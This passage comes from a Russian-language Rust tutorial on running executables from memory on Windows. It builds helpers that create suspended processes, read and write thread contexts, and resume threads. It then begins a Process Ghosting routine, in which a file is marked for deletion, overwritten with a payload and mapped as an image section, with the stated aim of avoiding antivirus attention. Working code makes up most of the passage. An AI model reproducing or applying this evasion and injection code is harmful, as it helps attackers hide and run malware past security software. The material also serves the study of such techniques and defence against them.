) -> PeResult<(ScopedHandle, ScopedHandle)> {
    windows_link::link!("kernel32.dll" "system" fn CreateProcessW(lpapplicationname: PCWSTR, lpcommandline: PWSTR, lpprocessattributes: *const SECURITY_ATTRIBUTES, lpthreadattributes : *const SECURITY_ATTRIBUTES, binherithandles: BOOL, dwcreationflags: PROCESS_CREATION_FLAGS, lpenvironment: *const core::ffi::c_void, lpcurrentdirectory: PCWSTR, lpstartupinfo : *const STARTUPINFOW, lpprocessinformation : *mut PROCESS_INFORMATION) -> BOOL);
    let si = empty_startup_info();
    let mut pi = PROCESS_INFORMATION::default();
    let res = unsafe {
        CreateProcessW(
            path.as_ref().as_ptr(),
            ptr::null_mut(),
            ptr::null(),
            ptr::null(),
            FALSE,
            CREATE_SUSPENDED,
            ptr::null(),
            ptr::null(),
            &si as *const STARTUPINFOW,
            &mut pi as *mut PROCESS_INFORMATION,
        )
    };
    if res == FALSE {
        let last_error = get_last_error();
        dprintln!("[-] CreateProcessW failed: {}", last_error);
        return Err(PeError::Win32Error(last_error));
    };

    Ok((ScopedHandle(pi.hProcess), ScopedHandle(pi.hThread)))
}

Разбираем:
  1. Мы сделали функции, возвращающие нам PEB и TEB в виде статических ссылок. Статические они потому, что привязаны к времени жизни всего процесса (хотя TEB, на самом деле, привязан к времени жизни текущего потока, мы можем безопасно пометить его время жизни статиком, потому что он локальный для каждого треда);
  2. Разыменование указателей, как вы уже могли заметить ранее, в Rust может происходить только внутри блоков unsafe. При написании кода на Rust вы должны минимизировать использование и размер этих блоков, оборачивая их после предварительных проверок в безопасные абстракции;
  3. Мы добавили специальный transparent тип ScopedHandle, у которого реализовали трейт Drop — аналог деструктора из C++, позволяющие легко создавать типы, владеющие какими-либо ресурсами по аналогии с std::unique_ptr из тех же Плюсов. В данном случае, наш тип будет закрывать хэндл после выхода из скоупа;
  4. И всё это для того, чтоб создать функцию, создающую процесс в приостановленном состоянии (флаг CREATE_SUSPENED). Функция принимает в качестве входного параметра завершённую нулём UTF-16 строку (Rust, в отличие от C++, где гарантируется завершение нулём у std::basic_string, такой гарантии нет, но есть отдельные типы с приставкой C — CStr, CString, widestring::U16CStr).
Теперь нам нужны функции, работающие с контекстом потока и контекстом WoW64 потока (Windows для потока, работающего в WoW64, создаёт ещё один контекст потока и стэк, помимо основного).
Code:
#[repr(C)]
#[cfg(any(target_arch = "arm64ec", target_arch = "x86_64"))]
#[derive(Clone, Copy, Default)]
#[allow(non_snake_case)]
pub struct CONTEXT {
    pub P1Home: u64,
    pub P2Home: u64,
    pub P3Home: u64,
    pub P4Home: u64,
    pub P5Home: u64,
    pub P6Home: u64,
    pub ContextFlags: CONTEXT_FLAGS,
    pub MxCsr: u32,
    pub SegCs: u16,
    pub SegDs: u16,
    pub SegEs: u16,
    pub SegFs: u16,
    pub SegGs: u16,
    pub SegSs: u16,
    pub EFlags: u32,
    pub Dr0: u64,
    pub Dr1: u64,
    pub Dr2: u64,
    pub Dr3: u64,
    pub Dr6: u64,
    pub Dr7: u64,
    pub Rax: u64,
    pub Rcx: u64,
    pub Rdx: u64,
    pub Rbx: u64,
    pub Rsp: u64,
    pub Rbp: u64,
    pub Rsi: u64,
    pub Rdi: u64,
    pub R8: u64,
    pub R9: u64,
    pub R10: u64,
    pub R11: u64,
    pub R12: u64,
    pub R13: u64,
    pub R14: u64,
    pub R15: u64,
    pub Rip: u64,
    pub Anonymous: CONTEXT_0,
    pub VectorRegister: [M128A; 26],
    pub VectorControl: u64,
    pub DebugControl: u64,
    pub LastBranchToRip: u64,
    pub LastBranchFromRip: u64,
    pub LastExceptionToRip: u64,
    pub LastExceptionFromRip: u64,
}

#[repr(C)]
#[cfg(any(target_arch = "arm64ec", target_arch = "x86_64"))]
#[derive(Clone, Copy)]
#[allow(non_snake_case)]
pub union CONTEXT_0 {
    pub FltSave: XSAVE_FORMAT,
    pub Anonymous: CONTEXT_0_0,
}
#[cfg(any(target_arch = "arm64ec", target_arch = "x86_64"))]
impl Default for CONTEXT_0 {
    fn default() -> Self {
        unsafe { core::mem::zeroed() }
    }
}
#[repr(C)]
#[cfg(any(target_arch = "arm64ec", target_arch = "x86_64"))]
#[derive(Clone, Copy, Default, PartialEq, Eq)]
#[allow(non_snake_case)]
pub struct CONTEXT_0_0 {
    pub Header: [M128A; 2],
    pub Legacy: [M128A; 8],
    pub Xmm0: M128A,
    pub Xmm1: M128A,
    pub Xmm2: M128A,
    pub Xmm3: M128A,
    pub Xmm4: M128A,
    pub Xmm5: M128A,
    pub Xmm6: M128A,
    pub Xmm7: M128A,
    pub Xmm8: M128A,
    pub Xmm9: M128A,
    pub Xmm10: M128A,
    pub Xmm11: M128A,
    pub Xmm12: M128A,
    pub Xmm13: M128A,
    pub Xmm14: M128A,
    pub Xmm15: M128A,
}
#[repr(C)]
#[derive(Clone, Copy, Default, PartialEq, Eq)]
#[allow(non_snake_case)]
pub struct M128A {
    pub Low: u64,
    pub High: i64,
}
#[repr(C)]
#[cfg(any(target_arch = "aarch64", target_arch = "arm64ec", target_arch = "x86_64"))]
#[derive(Clone, Copy, Default, PartialEq, Eq)]
#[allow(non_snake_case)]
pub struct XSAVE_FORMAT {
    pub ControlWord: u16,
    pub StatusWord: u16,
    pub TagWord: u8,
    pub Reserved1: u8,
    pub ErrorOpcode: u16,
    pub ErrorOffset: u32,
    pub ErrorSelector: u16,
    pub Reserved2: u16,
    pub DataOffset: u32,
    pub DataSelector: u16,
    pub Reserved3: u16,
    pub MxCsr: u32,
    pub MxCsr_Mask: u32,
    pub FloatRegisters: [M128A; 8],
    pub XmmRegisters: [M128A; 16],
    pub Reserved4: [u8; 96],
}

    pub const CONTEXT_ALL_AMD64: CONTEXT_FLAGS = CONTEXT_FLAGS(1048607u32);
pub const CONTEXT_ALL_ARM: CONTEXT_FLAGS = CONTEXT_FLAGS(2097167u32);
pub const CONTEXT_ALL_ARM64: CONTEXT_FLAGS = CONTEXT_FLAGS(4194335u32);
pub const CONTEXT_ALL_X86: CONTEXT_FLAGS = CONTEXT_FLAGS(65599u32);
pub const CONTEXT_AMD64: CONTEXT_FLAGS = CONTEXT_FLAGS(1048576u32);
pub const CONTEXT_ARM: CONTEXT_FLAGS = CONTEXT_FLAGS(2097152u32);
pub const CONTEXT_ARM64: CONTEXT_FLAGS = CONTEXT_FLAGS(4194304u32);
pub const CONTEXT_CONTROL_AMD64: CONTEXT_FLAGS = CONTEXT_FLAGS(1048577u32);
pub const CONTEXT_CONTROL_ARM: CONTEXT_FLAGS = CONTEXT_FLAGS(2097153u32);
pub const CONTEXT_CONTROL_ARM64: CONTEXT_FLAGS = CONTEXT_FLAGS(4194305u32);
pub const CONTEXT_CONTROL_X86: CONTEXT_FLAGS = CONTEXT_FLAGS(65537u32);
pub const CONTEXT_DEBUG_REGISTERS_AMD64: CONTEXT_FLAGS = CONTEXT_FLAGS(1048592u32);
pub const CONTEXT_DEBUG_REGISTERS_ARM: CONTEXT_FLAGS = CONTEXT_FLAGS(2097160u32);
pub const CONTEXT_DEBUG_REGISTERS_ARM64: CONTEXT_FLAGS = CONTEXT_FLAGS(4194312u32);
pub const CONTEXT_DEBUG_REGISTERS_X86: CONTEXT_FLAGS = CONTEXT_FLAGS(65552u32);
pub const CONTEXT_EXCEPTION_ACTIVE_AMD64: CONTEXT_FLAGS = CONTEXT_FLAGS(134217728u32);
pub const CONTEXT_EXCEPTION_ACTIVE_ARM: CONTEXT_FLAGS = CONTEXT_FLAGS(134217728u32);
pub const CONTEXT_EXCEPTION_ACTIVE_ARM64: CONTEXT_FLAGS = CONTEXT_FLAGS(134217728u32);
pub const CONTEXT_EXCEPTION_ACTIVE_X86: CONTEXT_FLAGS = CONTEXT_FLAGS(134217728u32);
pub const CONTEXT_EXCEPTION_REPORTING_AMD64: CONTEXT_FLAGS = CONTEXT_FLAGS(2147483648u32);
pub const CONTEXT_EXCEPTION_REPORTING_ARM: CONTEXT_FLAGS = CONTEXT_FLAGS(2147483648u32);
pub const CONTEXT_EXCEPTION_REPORTING_ARM64: CONTEXT_FLAGS = CONTEXT_FLAGS(2147483648u32);
pub const CONTEXT_EXCEPTION_REPORTING_X86: CONTEXT_FLAGS = CONTEXT_FLAGS(2147483648u32);
pub const CONTEXT_EXCEPTION_REQUEST_AMD64: CONTEXT_FLAGS = CONTEXT_FLAGS(1073741824u32);
pub const CONTEXT_EXCEPTION_REQUEST_ARM: CONTEXT_FLAGS = CONTEXT_FLAGS(1073741824u32);
pub const CONTEXT_EXCEPTION_REQUEST_ARM64: CONTEXT_FLAGS = CONTEXT_FLAGS(1073741824u32);
pub const CONTEXT_EXCEPTION_REQUEST_X86: CONTEXT_FLAGS = CONTEXT_FLAGS(1073741824u32);
pub const CONTEXT_EXTENDED_REGISTERS_X86: CONTEXT_FLAGS = CONTEXT_FLAGS(65568u32);
#[repr(transparent)]
#[derive(Clone, Copy, Default, Eq, PartialEq, PartialOrd, Ord)]
pub struct CONTEXT_FLAGS(pub u32);
impl CONTEXT_FLAGS {
    pub const fn contains(&self, other: Self) -> bool {
        self.0 & other.0 == other.0
    }
}
impl core::ops::BitOr for CONTEXT_FLAGS {
    type Output = Self;
    fn bitor(self, other: Self) -> Self {
        Self(self.0 | other.0)
    }
}
impl core::ops::BitAnd for CONTEXT_FLAGS {
    type Output = Self;
    fn bitand(self, other: Self) -> Self {
        Self(self.0 & other.0)
    }
}
impl core::ops::BitXor for CONTEXT_FLAGS {
    type Output = Self;
    fn bitxor(self, other: Self) -> Self {
        Self(self.0 ^ other.0)
    }
}
impl core::ops::BitOrAssign for CONTEXT_FLAGS {
    fn bitor_assign(&mut self, other: Self) {
        self.0.bitor_assign(other.0)
    }
}
impl core::ops::BitAndAssign for CONTEXT_FLAGS {
    fn bitand_assign(&mut self, other: Self) {
        self.0.bitand_assign(other.0)
    }
}
impl core::ops::BitXorAssign for CONTEXT_FLAGS {
    fn bitxor_assign(&mut self, other: Self) {
        self.0.bitxor_assign(other.0)
    }
}
impl core::ops::Not for CONTEXT_FLAGS {
    type Output = Self;
    fn not(self) -> Self {
        Self(self.0.not())
    }
}
pub const CONTEXT_FLOATING_POINT_AMD64: CONTEXT_FLAGS = CONTEXT_FLAGS(1048584u32);
pub const CONTEXT_FLOATING_POINT_ARM: CONTEXT_FLAGS = CONTEXT_FLAGS(2097156u32);
pub const CONTEXT_FLOATING_POINT_ARM64: CONTEXT_FLAGS = CONTEXT_FLAGS(4194308u32);
pub const CONTEXT_FLOATING_POINT_X86: CONTEXT_FLAGS = CONTEXT_FLAGS(65544u32);
pub const CONTEXT_FULL_AMD64: CONTEXT_FLAGS = CONTEXT_FLAGS(1048587u32);
pub const CONTEXT_FULL_ARM: CONTEXT_FLAGS = CONTEXT_FLAGS(2097159u32);
pub const CONTEXT_FULL_ARM64: CONTEXT_FLAGS = CONTEXT_FLAGS(4194311u32);
pub const CONTEXT_FULL_X86: CONTEXT_FLAGS = CONTEXT_FLAGS(65543u32);

pub const CONTEXT_INTEGER_AMD64: CONTEXT_FLAGS = CONTEXT_FLAGS(1048578u32);
pub const CONTEXT_INTEGER_ARM: CONTEXT_FLAGS = CONTEXT_FLAGS(2097154u32);
pub const CONTEXT_INTEGER_ARM64: CONTEXT_FLAGS = CONTEXT_FLAGS(4194306u32);
pub const CONTEXT_INTEGER_X86: CONTEXT_FLAGS = CONTEXT_FLAGS(65538u32);
pub const CONTEXT_KERNEL_CET_AMD64: CONTEXT_FLAGS = CONTEXT_FLAGS(1048704u32);
pub const CONTEXT_KERNEL_DEBUGGER_AMD64: CONTEXT_FLAGS = CONTEXT_FLAGS(67108864u32);
pub const CONTEXT_RET_TO_GUEST_ARM64: CONTEXT_FLAGS = CONTEXT_FLAGS(1073741824u32);
pub const CONTEXT_SEGMENTS_AMD64: CONTEXT_FLAGS = CONTEXT_FLAGS(1048580u32);
pub const CONTEXT_SEGMENTS_X86: CONTEXT_FLAGS = CONTEXT_FLAGS(65540u32);
pub const CONTEXT_SERVICE_ACTIVE_AMD64: CONTEXT_FLAGS = CONTEXT_FLAGS(268435456u32);
pub const CONTEXT_SERVICE_ACTIVE_ARM: CONTEXT_FLAGS = CONTEXT_FLAGS(268435456u32);
pub const CONTEXT_SERVICE_ACTIVE_ARM64: CONTEXT_FLAGS = CONTEXT_FLAGS(268435456u32);
pub const CONTEXT_SERVICE_ACTIVE_X86: CONTEXT_FLAGS = CONTEXT_FLAGS(268435456u32);
pub const CONTEXT_UNWOUND_TO_CALL_AMD64: CONTEXT_FLAGS = CONTEXT_FLAGS(536870912u32);
pub const CONTEXT_UNWOUND_TO_CALL_ARM: CONTEXT_FLAGS = CONTEXT_FLAGS(536870912u32);
pub const CONTEXT_UNWOUND_TO_CALL_ARM64: CONTEXT_FLAGS = CONTEXT_FLAGS(536870912u32);
pub const CONTEXT_X18_ARM64: CONTEXT_FLAGS = CONTEXT_FLAGS(4194320u32);
pub const CONTEXT_X86: CONTEXT_FLAGS = CONTEXT_FLAGS(65536u32);
pub const CONTEXT_XSTATE_AMD64: CONTEXT_FLAGS = CONTEXT_FLAGS(1048640u32);
pub const CONTEXT_XSTATE_X86: CONTEXT_FLAGS = CONTEXT_FLAGS(65600u32);

pub fn query_thread_context(thread: HANDLE) -> PeResult<CONTEXT> {
    windows_link::link!("ntdll.dll" "system" fn NtGetContextThread(thread: HANDLE, context: *mut CONTEXT) -> NTSTATUS);
    let mut ctx = CONTEXT::default();

    #[cfg(target_arch = "x86_64")]
    {
        ctx.ContextFlags = CONTEXT_INTEGER_AMD64;
    };

    #[cfg(target_arch = "x86")]
    {
        ctx.ContextFlags = CONTEXT_INTEGER_X86;
    };

    let status = unsafe { NtGetContextThread(thread, &mut ctx as *mut CONTEXT) };
    if status.is_err() {
        dprintln!(
            "[-] NtGetContextThread failed: {:?}",
            status
        );
        return Err(PeError::NtApiError(status));
    };

    Ok(ctx)
}

pub fn set_thread_context(thread: HANDLE, ctx: &CONTEXT) -> PeResult<()> {
    windows_link::link!("ntdll.dll" "system" fn NtSetContextThread(thread: HANDLE, context: *const CONTEXT) -> NTSTATUS);

    let status = unsafe { NtSetContextThread(thread, ctx as *const CONTEXT) };
    if status.is_err() {
        dprintln!(
            "[-] NtSetContextThread failed: {:?}",
            status
        );
        return Err(PeError::NtApiError(status));
    };

    Ok(())
}

Теперь всё то же самое, но для WoW64:
Code:
#[repr(C)]
#[derive(Clone, Copy, Default, PartialEq, Eq)]
#[allow(non_snake_case)]
pub struct WOW64_CONTEXT {
    pub ContextFlags: WOW64_CONTEXT_FLAGS,
    pub Dr0: u32,
    pub Dr1: u32,
    pub Dr2: u32,
    pub Dr3: u32,
    pub Dr6: u32,
    pub Dr7: u32,
    pub FloatSave: WOW64_FLOATING_SAVE_AREA,
    pub SegGs: u32,
    pub SegFs: u32,
    pub SegEs: u32,
    pub SegDs: u32,
    pub Edi: u32,
    pub Esi: u32,
    pub Ebx: u32,
    pub Edx: u32,
    pub Ecx: u32,
    pub Eax: u32,
    pub Ebp: u32,
    pub Eip: u32,
    pub SegCs: u32,
    pub EFlags: u32,
    pub Esp: u32,
    pub SegSs: u32,
    pub ExtendedRegisters: [u8; 512],
}

#[repr(C)]
#[derive(Clone, Copy, Default, PartialEq, Eq)]
#[allow(non_snake_case)]
pub struct WOW64_FLOATING_SAVE_AREA {
    pub ControlWord: u32,
    pub StatusWord: u32,
    pub TagWord: u32,
    pub ErrorOffset: u32,
    pub ErrorSelector: u32,
    pub DataOffset: u32,
    pub DataSelector: u32,
    pub RegisterArea: [u8; 80],
    pub Cr0NpxState: u32,
}


pub const WOW64_CONTEXT_ALL: WOW64_CONTEXT_FLAGS = WOW64_CONTEXT_FLAGS(65599u32);
pub const WOW64_CONTEXT_CONTROL: WOW64_CONTEXT_FLAGS = WOW64_CONTEXT_FLAGS(65537u32);
pub const WOW64_CONTEXT_DEBUG_REGISTERS: WOW64_CONTEXT_FLAGS = WOW64_CONTEXT_FLAGS(65552u32);
pub const WOW64_CONTEXT_EXCEPTION_ACTIVE: WOW64_CONTEXT_FLAGS = WOW64_CONTEXT_FLAGS(134217728u32);
pub const WOW64_CONTEXT_EXCEPTION_REPORTING: WOW64_CONTEXT_FLAGS = WOW64_CONTEXT_FLAGS(2147483648u32);
pub const WOW64_CONTEXT_EXCEPTION_REQUEST: WOW64_CONTEXT_FLAGS = WOW64_CONTEXT_FLAGS(1073741824u32);
pub const WOW64_CONTEXT_EXTENDED_REGISTERS: WOW64_CONTEXT_FLAGS = WOW64_CONTEXT_FLAGS(65568u32);
#[repr(transparent)]
#[derive(Clone, Copy, Default, Eq, PartialEq, PartialOrd, Ord)]
pub struct WOW64_CONTEXT_FLAGS(pub u32);
impl WOW64_CONTEXT_FLAGS {
    pub const fn contains(&self, other: Self) -> bool {
        self.0 & other.0 == other.0
    }
}
impl core::ops::BitOr for WOW64_CONTEXT_FLAGS {
    type Output = Self;
    fn bitor(self, other: Self) -> Self {
        Self(self.0 | other.0)
    }
}
impl core::ops::BitAnd for WOW64_CONTEXT_FLAGS {
    type Output = Self;
    fn bitand(self, other: Self) -> Self {
        Self(self.0 & other.0)
    }
}
impl core::ops::BitXor for WOW64_CONTEXT_FLAGS {
    type Output = Self;
    fn bitxor(self, other: Self) -> Self {
        Self(self.0 ^ other.0)
    }
}
impl core::ops::BitOrAssign for WOW64_CONTEXT_FLAGS {
    fn bitor_assign(&mut self, other: Self) {
        self.0.bitor_assign(other.0)
    }
}
impl core::ops::BitAndAssign for WOW64_CONTEXT_FLAGS {
    fn bitand_assign(&mut self, other: Self) {
        self.0.bitand_assign(other.0)
    }
}
impl core::ops::BitXorAssign for WOW64_CONTEXT_FLAGS {
    fn bitxor_assign(&mut self, other: Self) {
        self.0.bitxor_assign(other.0)
    }
}
impl core::ops::Not for WOW64_CONTEXT_FLAGS {
    type Output = Self;
    fn not(self) -> Self {
        Self(self.0.not())
    }
}
pub const WOW64_CONTEXT_FLOATING_POINT: WOW64_CONTEXT_FLAGS = WOW64_CONTEXT_FLAGS(65544u32);
pub const WOW64_CONTEXT_FULL: WOW64_CONTEXT_FLAGS = WOW64_CONTEXT_FLAGS(65543u32);
pub const WOW64_CONTEXT_INTEGER: WOW64_CONTEXT_FLAGS = WOW64_CONTEXT_FLAGS(65538u32);
pub const WOW64_CONTEXT_SEGMENTS: WOW64_CONTEXT_FLAGS = WOW64_CONTEXT_FLAGS(65540u32);
pub const WOW64_CONTEXT_SERVICE_ACTIVE: WOW64_CONTEXT_FLAGS = WOW64_CONTEXT_FLAGS(268435456u32);
pub const WOW64_CONTEXT_X86: WOW64_CONTEXT_FLAGS = WOW64_CONTEXT_FLAGS(65536u32);
pub const WOW64_CONTEXT_XSTATE: WOW64_CONTEXT_FLAGS = WOW64_CONTEXT_FLAGS(65600u32);

#[repr(i32)]
#[non_exhaustive]
#[derive(Copy, Clone, Hash, PartialEq, Eq)]
pub enum _THREADINFOCLASS {
   ThreadBasicInformation = 0,
   ThreadTimes = 1,
   ThreadPriority = 2,
   ThreadBasePriority = 3,
   ThreadAffinityMask = 4,
   ThreadImpersonationToken = 5,
   ThreadDescriptorTableEntry = 6,
   ThreadEnableAlignmentFaultFixup = 7,
   ThreadEventPair = 8,
   ThreadQuerySetWin32StartAddress = 9,
   ThreadZeroTlsCell = 10,
   ThreadPerformanceCount = 11,
   ThreadAmILastThread = 12,
   ThreadIdealProcessor = 13,
   ThreadPriorityBoost = 14,
   ThreadSetTlsArrayAddress = 15,
   ThreadIsIoPending = 16,
   ThreadHideFromDebugger = 17,
   ThreadBreakOnTermination = 18,
   ThreadSwitchLegacyState = 19,
   ThreadIsTerminated = 20,
   ThreadLastSystemCall = 21,
   ThreadIoPriority = 22,
   ThreadCycleTime = 23,
   ThreadPagePriority = 24,
   ThreadActualBasePriority = 25,
   ThreadTebInformation = 26,
   ThreadCSwitchMon = 27,
   ThreadCSwitchPmu = 28,
   ThreadWow64Context = 29,
   ThreadGroupInformation = 30,
   ThreadUmsInformation = 31,
   ThreadCounterProfiling = 32,
   ThreadIdealProcessorEx = 33,
   ThreadCpuAccountingInformation = 34,
   ThreadSuspendCount = 35,
   ThreadHeterogeneousCpuPolicy = 36,
   ThreadContainerId = 37,
   ThreadNameInformation = 38,
   ThreadSelectedCpuSets = 39,
   ThreadSystemThreadInformation = 40,
   ThreadActualGroupAffinity = 41,
   ThreadDynamicCodePolicyInfo = 42,
   ThreadExplicitCaseSensitivity = 43,
   ThreadWorkOnBehalfTicket = 44,
   ThreadSubsystemInformation = 45,
   ThreadDbgkWerReportActive = 46,
   ThreadAttachContainer = 47,
   ThreadManageWritesToExecutableMemory = 48,
   ThreadPowerThrottlingState = 49,
   ThreadWorkloadClass = 50,
   ThreadCreateStateChange = 51,
   ThreadApplyStateChange = 52,
   ThreadStrongerBadHandleChecks = 53,
   ThreadEffectiveIoPriority = 54,
   ThreadEffectivePagePriority = 55,
   ThreadUpdateLockOwnership = 56,
   ThreadSchedulerSharedDataSlot = 57,
   ThreadTebInformationAtomic = 58,
   ThreadIndexInformation = 59,
   MaxThreadInfoClass = 60,
}
pub use self::_THREADINFOCLASS as THREADINFOCLASS;


pub fn query_thread_context_wow64(thread: HANDLE) -> PeResult<WOW64_CONTEXT> {
    windows_link::link!("ntdll.dll" "system" fn NtQueryInformationThread(
        thread: HANDLE,
        info_class: THREADINFOCLASS,
        info: PVOID,
        info_length: u32,
        return_size: *mut u32
    ) -> NTSTATUS);
    let mut ctx = WOW64_CONTEXT::default();
    ctx.ContextFlags = WOW64_CONTEXT_INTEGER;

    let status = unsafe {
        NtQueryInformationThread(
            thread,
            THREADINFOCLASS::ThreadWow64Context,
            &mut ctx as *mut WOW64_CONTEXT as PVOID,
            mem::size_of::<WOW64_CONTEXT>() as u32,
            ptr::null_mut(),
        )
    };
    if !status.is_ok() {
        return Err(PeError::NtApiError(status));
    }
    Ok(ctx)
}
pub fn set_thread_context_wow64(thread: HANDLE, ctx: &WOW64_CONTEXT) -> PeResult<()> {
    windows_link::link!("ntdll.dll" "system" fn NtSetInformationThread(
        thread: HANDLE,
        info_class: THREADINFOCLASS,
        info: *const std::ffi::c_void,
        info_length: u32
    ) -> NTSTATUS);

    let status = unsafe {
        NtSetInformationThread(
            thread,
            THREADINFOCLASS::ThreadWow64Context,
            ctx as *const WOW64_CONTEXT as *const _,
            mem::size_of::<WOW64_CONTEXT>() as u32,
        )
    };
    if !status.is_ok() {
        return Err(PeError::NtApiError(status));
    }
    Ok(())
        }

Тут быстренько поясню, что такое #[non_exhaustive] — это пометка подсказывает компилятору, что в енам будут ещё добавляться элементы. Ещё вы можете увидеть, что мы заполняем поле ContextFlags — ядро смотрит на него и понимает, какие части контекста нам нужны. В данном случае нам нужны только CONTEXT_INTEGER, то есть стандартные регистры (Rcx, Rbx, Rdx, Rax, Rsi, Rdi, Rbp, Rsp, R8–R15) безо всяких дебаг регистров, регистров FPU, XMM, контрол регистров и сегментных регистров. Также это же поле используется для определения ядром, какие регистры следует изменить, при вызове NtSetContextThread.

Нам осталось добавить только парочку утилитарных функций: одна будет возвращать нам расположение папки Windows, другая — переводить наш трэд в режим бесконечного ожидания объекта, и, наконец, третья — запускать (резьюмить) поток.
Code:
use std::env;
use std::path::PathBuf;
use phnt::ffi::PLARGE_INTEGER;

pub fn resume_thread(thread: HANDLE) -> PeResult<()> {
    windows_link::link!("ntdll.dll" "system" fn NtResumeThread(thread: HANDLE, previous_suspend_count: *mut u32) -> NTSTATUS);

    let status = unsafe { NtResumeThread(thread, ptr::null_mut()) };
    if !status.is_ok() {
        return Err(PeError::NtApiError(status));
    };

    Ok(())
}


pub fn infinity_wait(obj: HANDLE) -> PeResult<()> {
    windows_link::link!("ntdll.dll" "system" fn NtWaitForSingleObject(
        handle: HANDLE, alertable: bool, timeout: PLARGE_INTEGER
    ) -> NTSTATUS);

    let status = unsafe { NtWaitForSingleObject(obj, false, ptr::null_mut()) };

    if status.is_err() {
        dprintln!(
            "[-] NtWaitForSingleObject failed: {:?}",
            status
        );
        return Err(PeError::NtApiError(status));
    };

    Ok(())
}

pub fn get_system_root() -> Option<PathBuf> {
    env::var_os("SystemRoot").map(PathBuf::from)
}

pub fn get_system_root_or_default() -> PathBuf {
    get_system_root().unwrap_or(PathBuf::from(r"C:\Windows"))
}

7. Настал час хака

Не удалось прогрузить медиа


Пришло время собрать всё воедино, чтоб получилось запустить исполняемый файл из памяти. Также напоминаю, что мы хотим мапить файл в MEM_IMAGE область памяти, а для этого нам понадобится SEC_IMAGE секция. Чтоб создать такую секцию, нам нужен хэндл файла — чтоб его получить и не сильно привлекать внимание антивируса, применим хитрость, использующаяся в технике Process Ghosting: откроем файл, пометим его для удаления, запишем туда наш буфер с исполняемый файлом, после чего создадим из него секцию.
Code:
use phnt::ffi::{FILE_INFORMATION_CLASS, PIO_STATUS_BLOCK, IO_STATUS_BLOCK, FILE_DISPOSITION_INFORMATION};

#[repr(transparent)]
#[derive(Clone, Copy, Default, PartialEq, Eq, PartialOrd, Ord)]
#[cfg_attr(debug_assertions, derive(Debug))]
pub struct FILE_FLAGS_AND_ATTRIBUTES(pub u32);
pub const FILE_ATTRIBUTE_NORMAL: FILE_FLAGS_AND_ATTRIBUTES = FILE_FLAGS_AND_ATTRIBUTES(128u32);

pub const FILE_SHARE_DELETE: FILE_SHARE_MODE = FILE_SHARE_MODE(4u32);
#[repr(transparent)]
#[derive(Clone, Copy, Default, PartialEq, Eq, PartialOrd, Ord)]
#[cfg_attr(debug_assertions, derive(Debug))]
pub struct FILE_SHARE_MODE(pub u32);
pub const FILE_SHARE_NONE: FILE_SHARE_MODE = FILE_SHARE_MODE(0u32);
pub const FILE_SHARE_READ: FILE_SHARE_MODE = FILE_SHARE_MODE(1u32);
pub const FILE_SHARE_WRITE: FILE_SHARE_MODE = FILE_SHARE_MODE(2u32);

#[repr(transparent)]
#[derive(Copy, Clone, Default, PartialEq, Eq, PartialOrd, Ord)]
pub struct FILE_CREATION_DISPOSITION(pub u32);
pub const OPEN_ALWAYS: FILE_CREATION_DISPOSITION = FILE_CREATION_DISPOSITION(4u32);
pub const OPEN_EXISTING: FILE_CREATION_DISPOSITION = FILE_CREATION_DISPOSITION(3u32);

pub type FILE_ACCESS_RIGHTS = u32;
pub const FILE_GENERIC_READ: FILE_ACCESS_RIGHTS = 1179785u32;
pub const FILE_GENERIC_WRITE: FILE_ACCESS_RIGHTS = 1179926u32;
pub const DELETE: FILE_ACCESS_RIGHTS = 65536u32;

pub fn mark_file_delete_pendind(file: HANDLE) -> PeResult<()> {
    windows_link::link!("ntdll.dll" "system" fn NtSetInformationFile(
        file: HANDLE,
        io_status_block: PIO_STATUS_BLOCK,
        info: PVOID,
        info_length: u32,
        info_class: FILE_INFORMATION_CLASS,
    ) -> NTSTATUS);

    let mut status_block = IO_STATUS_BLOCK::default();
    let mut info = FILE_DISPOSITION_INFORMATION::default();
    info.DeleteFileW = TRUE as u8;

    let status = unsafe {
        NtSetInformationFile(
            file,
            &mut status_block as *mut _,
            &mut info as *mut _ as PVOID,
            std::mem::size_of::<FILE_DISPOSITION_INFORMATION>() as u32,
            FILE_INFORMATION_CLASS::FileDispositionInformation,
        )
    };
    if !status.is_ok() {
        return Err(PeError::NtApiError(status));
    };
    Ok(())
}

fn open_file_for_ghosting<S: AsRef<widestring::U16CStr> + ?Sized>(file: &S) -> PeResult<ScopedHandle> {
    windows_link::link!("kernel32.dll" "system" fn CreateFileW(lpfilename: PCWSTR, dwdesiredaccess: FILE_ACCESS_RIGHTS, dwsharemode: FILE_SHARE_MODE, lpsecurityattributes : *const SECURITY_ATTRIBUTES, dwcreationdisposition: FILE_CREATION_DISPOSITION, dwflagsandattributes: FILE_FLAGS_AND_ATTRIBUTES, htemplatefile: HANDLE) -> HANDLE);
    let file_handle = ScopedHandle::from(unsafe {
        CreateFileW(
            file.as_ref().as_ptr(),
            FILE_GENERIC_READ | FILE_GENERIC_WRITE | DELETE,
            FILE_SHARE_NONE,
            ptr::null(),
            OPEN_ALWAYS,
            FILE_ATTRIBUTE_NORMAL,
            ptr::null_mut(),
        )
    });
    if file_handle.is_invalid() {
        return Err(PeError::Win32Error(get_last_error()));
    };
    Ok(file_handle)
}

Теперь запишем наш исполняемый файл в открытый хэндл и создадим из него секцию:
Code:
use phnt::ffi::{PHANDLE, PCOBJECT_ATTRIBUTES, PLARGE_INTEGER};


pub const SECTION_ALL_ACCESS: SECTION_FLAGS = 983071u32;
pub const SECTION_EXTEND_SIZE: SECTION_FLAGS = 16u32;
pub type SECTION_FLAGS = u32;
pub const SECTION_MAP_EXECUTE: SECTION_FLAGS = 8u32;
pub const SECTION_MAP_EXECUTE_EXPLICIT: SECTION_FLAGS = 32u32;
pub const SECTION_MAP_READ: SECTION_FLAGS = 4u32;
pub const SECTION_MAP_WRITE: SECTION_FLAGS = 2u32;
pub const SECTION_QUERY: SECTION_FLAGS = 1u32;
pub const SEC_64K_PAGES: PAGE_PROTECTION_FLAGS = 524288u32;
pub const SEC_COMMIT: PAGE_PROTECTION_FLAGS = 134217728u32;
pub const SEC_FILE: PAGE_PROTECTION_FLAGS = 8388608u32;
pub const SEC_IMAGE: PAGE_PROTECTION_FLAGS = 16777216u32;
pub const SEC_IMAGE_NO_EXECUTE: PAGE_PROTECTION_FLAGS = 285212672u32;
pub const SEC_LARGE_PAGES: PAGE_PROTECTION_FLAGS = 2147483648u32;
pub const SEC_NOCACHE: PAGE_PROTECTION_FLAGS = 268435456u32;
pub const SEC_PARTITION_OWNER_HANDLE: PAGE_PROTECTION_FLAGS = 262144u32;
pub const SEC_PROTECTED_IMAGE: PAGE_PROTECTION_FLAGS = 33554432u32;
